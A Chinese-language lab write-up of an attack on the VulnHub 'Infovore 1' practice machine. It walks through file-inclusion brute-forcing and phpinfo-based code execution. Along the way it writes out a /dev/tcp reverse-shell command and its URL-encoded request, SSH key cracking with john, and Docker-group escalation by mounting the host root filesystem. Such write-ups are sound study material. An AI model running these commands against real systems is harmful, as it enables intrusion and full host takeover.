docker提权

环境

重点是后面拿到shell后的docker提权部分

环境:https://www.vulnhub.com/entry/infovore-1,496/

https://mp.weixin.qq.com/s/7RWgYGyiK-CEN508eB8BEg

难受啊 找exp找了一下午 其实一开始用的可以 执行命令少了个; 然后弹shell也一直弹不上 最后按着小迪一个一个敲。。

内容

  • 文件包含
  • docker逃逸
  • docker提权

操作

常规 主机发现 端口扫描 开放了80端口 也没啥东西

文件包含 参数爆破

然后目录扫描 也啥东西 然后他的 80端口的主页面的title是 include me 就想到了文件包含

但是不知道他的参数名 => 用burp去爆破 从扫描的结果得知存在 info.php 去包含这个 响应长度不一样 再去看他的页面是空白的 很奇怪啊不应该是主要啊

image-20240308201605077
image-20240308201637688
image-20240308201706513

这个包含有点迷糊啊 为啥我包含info.php 页面显示是空白嘞

漏洞利用

已获得phpinfo和文件包含漏洞可以尝试远程代码执行

md 找着exp找了几小时 然后tmd 重新回到课程里面看到。。。然后tmd少了个分号

exp =>https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py

' bash -c "exec bash -i >/dev/tcp/192.168.3.128/9000 0>&1" ' //要编码

http://192.168.3.116/index.php?filename=/tmp/g&1=system(%27bash%20-c%20%22exec%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.3.128%2f9000%200%3E%261%22%27);

执行exp 然后再反弹shell

提权

docker逃逸

拿到shell 后 去到根目录 ls -a 看到 .dockerenv 就知道现在拿到得是一个dockr环境下的权限

image-20240309203802870

hostname 也可以判断

image-20240309203949588

现在要逃逸出docker容器

复制.oldkeys.tgz到tmp目录下,解压缩文件查看内容,发现私钥

cp /.oldkeys.tgz /tmp/.oldkeys.tgz

tar -xvf .oldkeys.tgz

image-20240309204639624

复制root内容到kali 用john进行解密 破解出一个密码 choclate93

使用 john 的一个脚本把私钥转换成 john 可识别的 ssh 密钥文件:
/usr/share/john/ssh2john.py id_rsa > hash1

使用 john 爆破密码
john hash1 --wordlist=/usr/share/wordlists/rockyou.txt

image-20240309205727555

尝试su到root

image-20240309205922276

但是我们现在的root 也只是docker容器的root 要逃离docker

.ssh在root目录啊 (找半天)

image-20240309210529019

查看 id_rsa.pub时候发现一个admin账号 这应该是 本机的了 试着用密钥对连接 看到有公钥和私钥了 image-20240309210802038

利用docker提权

用 /bin/bash -i 得到新的shell终端

su -P - root 切换root用户配置相同的环境,再次登录ssh,成功

开始我直接su root 然后操作失败了 (前面还要 export TERM=xterm)

image-20240309220302576

ssh admin@192.168.150.1 -i id_rsa 要输入密码 这里用到前面的密码 也可以 像前面一样 搞到本机去破解

image-20240309215859291

成功拿到了一个本机用户权限 想办法提到root 看到这个用户在docker组里面 用docker提权 挂载目录

image-20240309220601061

docker run -v /:/mnt -it alpine // 从Docker上面下载alpine镜像,然后运行;将容器外部的目录/挂载到容器内部/mnt

image-20240309220818886
image-20240309221427683

这个时候又来到了docker里面 权限是root 这是我们启动docker 挂载了目录 通过这个我们可以看到真机root里面有什么而且还可以写

但是在这 我们反弹shell 得到的shell任然是docker容器的root权限

进入docker控制终端 /mnt就等于操作真机目录 借助目录写入计划任务或者读取密钥破解等方式进行权限交换

我们要得到真机的root权限的方法(拿到真机的shell

  • 破解 /etc/shadow
  • 写ssh密钥到宿主机(真机) openssl 靶机好像没有 (生成个密码 替换root原来的密码
  • 写计划任务到宿主机 /mnt/etc/crontab = /etc/crontab https://zhuanlan.zhihu.com/p/591578734
  • CVE漏洞直接利用 反弹shell

破解 shadow 密钥 john ( cpu直接100%)

image-20240309222113448

总结

打了一天了 拿shell那里 一直打不通 乌鱼子

但是重点是在后面的docker提权部分

拿本靶机来说

一开始得到的shell是在docker里面 然后破解密钥得到了 docker里面的root权限

然后又通过ssh 连接到了真机的普通用户 而且在docker组里

通过docker 挂载目录 进入docker 得到了一个docker的root权限

但是我们可以访问到真机的root等目录 可以通过写计划任务 破解密钥 来拿到真机的root权限的shell